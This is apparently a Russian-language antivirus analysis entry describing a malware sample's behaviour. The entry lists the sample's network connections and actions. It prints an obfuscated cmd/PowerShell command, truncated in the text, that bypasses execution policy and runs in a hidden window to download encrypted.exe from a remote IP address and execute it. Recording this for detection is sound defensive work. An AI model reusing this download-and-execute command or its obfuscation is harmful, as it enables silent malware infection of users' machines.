Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://185.141.27.108/encrypted.exe как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "p^O^w^e^rS^hELl.EX^e^ ^-E^XeCut^i^OnPoLICy^ BY^pASS -n^o^prO^fI^LE -wIN^do^WS^T^Yle^ HIDden ^(^N^e^w-ObjecT Sy^sT^e^m.^N^E^T.we^Bc^l^Ie^N^T).do^WnLoADFilE('http://185.141....
Сетевая активность
Подключается к
- '18#.#41.27.108':80
TCP
Запросы HTTP GET
- http://18#.#41.27.108/encrypted.exe
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "p^O^w^e^rS^hELl.EX^e^ ^-E^XeCut^i^OnPoLICy^ BY^pASS -n^o^prO^fI^LE -wIN^do^WS^T^Yle^ HIDden ^(^N^e^w-ObjecT Sy^sT^e^m.^N^E^T.we^Bc^l^Ie^N^T).do^WnLoADFilE('http://185.141....' (со скрытым окном)
